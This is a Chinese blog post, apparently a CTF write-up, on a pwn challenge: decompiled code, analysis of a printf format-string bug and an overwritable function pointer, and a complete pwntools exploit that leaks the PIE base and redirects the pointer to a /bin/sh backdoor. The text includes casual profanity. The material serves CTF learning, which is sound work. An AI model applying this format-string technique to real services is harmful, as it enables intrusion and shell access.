889 words
4 minutes
2026第一周wp05
2026-09-13

写在前面#

第一双神了,有了点问题于是12号鸽了,现在是13号1:14,更新完准备睡觉

第二版说明:早上起来发现没更新到,故修复一下

外卖补贴#

checksec

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

PIE+NX

看看机翻main

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 number; // rax
_QWORD v5[64]; // [rsp+0h] [rbp-210h] BYREF
__int64 v6; // [rsp+200h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+208h] [rbp-8h]
memset(v5, 0, sizeof(v5));
v7 = 0;
initialise(&v6, argv);
publish_hook = (__int64 (__fastcall *)(_QWORD))homepage_channel;
while ( 1 )
{
show_menu();
number = read_number();
if ( number == 4 )
return 0;
if ( number > 4 )
goto LABEL_17;
switch ( number )
{
case 3uLL:
publish_hook("The discount line has been pushed to the homepage.");// 折扣线已推送到主页。
break;
case 1uLL:
printf("How long is this campaign line? ");// 这条竞选路线有多长?
v7 = read_number();
if ( v7 && v7 <= 0x1FF )
{
printf("Drop your campaign line here: ");// 在这里放下你的竞选口号:
read_exact(0, v5, v7);
*((_BYTE *)v5 + v7) = 0;
puts("Nice. Let us see how many people search for it.");// 不错。让我们看看有多少人在搜索它。
}
else
{
puts("That campaign line will not fit on the board.");// 那条竞选路线不适合董事会。
}
break;
case 2uLL:
if ( v7 )
preview_slogan(v5);
else
puts("No campaign line has been submitted.");// 尚未提交任何活动线。
break;
default:
LABEL_17:
puts("The marketing dashboard ignores that request.");// 营销仪表板忽略该请求。
break;
}
}
}

看看菜单

int show_menu()
{
puts("another ad job?");
puts("1. press 1 to submit your slogan");
puts("2. press 2 to preview");
puts("3. press 3 to pin it on the homepage");
puts("4. done? clock out");
return printf(off_20A0);
} // int show_menu(){puts(“另一个广告作业?”);puts(”1。按1提交你的口号);把(“2。按2预览“);按3。按3将其固定在主页上”)。完成?时钟输出”);返回printf(off_20A0);}
//

可以看到输入>=4都会被踹

选3操作

选1先是输入长度,然后输入内容

选2:

int __fastcall preview_slogan(const char *a1)
{
printf("preview: ");
printf(a1);
return putchar(10);
}

操作空间这不就来了吗兄弟

然后就是找后门环节

shift+F12唤出strings

找到bin,按X查看调用(这个我他妈好像已经讲了很多遍了)

int director_channel()
{
char *argv[4]; // [rsp+10h] [rbp-20h] BYREF
argv[0] = "/bin/sh";
argv[1] = "-p";
argv[2] = 0;
chdir("/");
alarm(0xFu);
return execve("/bin/sh", argv, 0);
}

ok

现在归纳思路

可操作点在于

printf(a1);

喜欢不限制,喜欢直接打印

printf的小巧思 - dxfaker’s blog

还有v5的栈溢出

v7 && v7 <= 0x1FF

对输入长度的值的限制

read_exact(0, v5, v7);

对v5的读入

_QWORD v5[64]; // [rsp+0h] [rbp-210h] BYREF

v5是长度是0x210

下面注意我说的话:

负数在检查上界的时候是没问题的,他就是会小于正常正数,但是调用的时候他会变成0xFFFFFFFFFFFFFFFF

现在我们缺的是什么

真实地址(%p)

可执行跳转到后门操作的地方

那怎么跳转进入后门呢

操作三

publish_hook("The discount line has been pushed to the homepage.");

且

publish_hook = (__int64 (__fastcall *)(_QWORD))homepage_channel;

又因为

int __fastcall homepage_channel(const char *a1)
{
return puts(a1);
}

你他妈是个指针啊

那我可以找个栈溢出给你覆盖了,哦原来有了,那我什么都不缺了

总结exp思路

第一轮泄露地址,第二轮栈溢出输入写入+触发拿到后门

from pwn import *
context.log_level = 'info'
context.arch = 'amd64'
p = remote("127.0.0.1", 61073)
# p = process('./full-reduction')
def menu(n):
p.recvuntil(b'> ')
p.sendline(str(n).encode())
def submit(data):
menu(1)
p.recvuntil(b'How long is this campaign line? ')
p.sendline(str(len(data)).encode())
p.recvuntil(b'Drop your campaign line here: ')
p.send(data)
submit(b'%9$p.')
menu(2)
p.recvuntil(b'preview: ')
leak = int(p.recvuntil(b'.', drop=True), 16)
pie_base = leak - 0x1670
tgt = pie_base + 0x40b0
fmt = b'X' * 247
fmt += b'%42$hhn'
fmt += b'XX'
fmt += p64(tgt)
submit(fmt)
menu(2)
menu(3)
p.interactive()

%9$p不再赘述

怎么算出来是鸡巴的第42位参数覆盖也不说了

XX补字节

2026第一周wp05
https://dxfaker.top/posts/26moe5/
Author
dxfaker
Published at
2026-09-13
License
CC BY-NC-SA 4.0

Some information may be outdated